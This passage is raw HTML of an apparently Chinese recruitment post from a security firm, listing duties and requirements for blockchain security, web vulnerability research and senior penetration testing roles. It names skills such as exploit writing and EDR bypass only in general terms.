decimal;"><li><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">负责区块链安全研究和代码安全审计；</p></li><li><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">探索区块链和其他前沿技术，并提前规划布局和实施；</p></li><li><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">负责区块链相关的漏洞挖掘和分析，如交易所、钱包、智能合约等。</p></li></ol><h3 cid="n2" mdtype="heading"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">任职要求</span></h3><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">5年或以上经验；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">精通 Golang /C++ /JavaScript/ Java /Python /Rust 中的一种或多种编程语言；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">在至少一个安全领域具备漏洞挖掘和分析技能；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对新技术敏感和感兴趣，对区块链安全技术有浓厚兴趣；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉比特币和以太坊等主流区块链技术及相关机制原理；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉零知识证明（ZK）技术及相关机制原理；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对不同类型的软件有最新的了解，并在任何操作系统、软件（二进制或Web）应用程序或区块链上进行漏洞发现的经验。</p></li></ol><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 82, 255);font-size: 20px;">Web漏洞研究员（php/java）</span></p><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="caret-color: rgb(0, 0, 0);letter-spacing: normal;text-align: start;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 25.5px;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">工作职责</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">Web方向漏洞挖掘、研究、武器化落地</span></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">关注全球最新的漏洞，并对高危漏洞进行分析和调试，编写 poc &amp; exp；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对各类通用应用系统或框架组件、中间件等进行漏洞挖掘。</p></li></ol><h3 cid="n2" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">任职要求</span></h3><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">Web安全基础扎实，对常见漏洞的原理和利用有较深入的理解；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉PHP、Java、Dotnet、Python、Go、JavaScript中至少两门主流语言，熟悉框架、SDK底层代码；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉SAST相关工具，如CodeQL；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对漏洞挖掘与利用感兴趣，有快速学习和自我驱动力，有较强的团队协作精神。</p></li></ol><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">加分项</span><br/></p><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">1. 有独立漏洞挖掘、完整利用编写经验；</p><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">2. 获得过主流厂商的致谢，如Apache、Oracle、VMware （VCenter、Horizon）、Struts2、Spring、Wordpress等；</p><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">3. 提交过高质量CVE漏洞或独立编写过有深度的漏洞分析文章优先。</p><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 82, 255);font-size: 20px;">高级渗透测试工程师</span></p><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="caret-color: rgb(0, 0, 0);letter-spacing: normal;text-align: start;text-wrap: wrap;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 25.5px;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">工作职责</span></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">跟踪关注全球安全领域的安全动态；</p></li><li><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对客户业务进行深度渗透，发现从互联网到业务的完整攻击链条。</p></li></ol><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">任职要求</span></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟悉常见的渗透手段，包括但不限于情报整合、边界打点、权限维持、建立隧道、内网移动等；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟练掌握主流网络、应用、系统攻击技术及常用工具；熟悉常见安全漏洞原理及利用；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">熟练掌握ATT&amp;CK各环节关键技术、工具使用和思路；</p></li><li style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><p style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">对EDR等安全设备有较深入的研究和Bypass经验。</p></li></ol><p style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">加分项</span></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p>拥有大型企业内外网完整渗透测试经验，对APT有深入研究或有实践经验;</p></li><li><p>有较多内外网渗透经验或对工作组/域中的对抗有深入研究;</p></li><li><p>有大型网络安全竞赛获奖经历/挖掘过高质量漏洞/发表过深度技术Paper;</p></li><li><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">有在围绕渗透</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">测试所需的技能栈中的某一领域，极具竞争力的。</span></p></li></ol><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100001357" data-ratio="1.9544444444444444" data-s="300,640" style="" data-type="png" data-w="900" 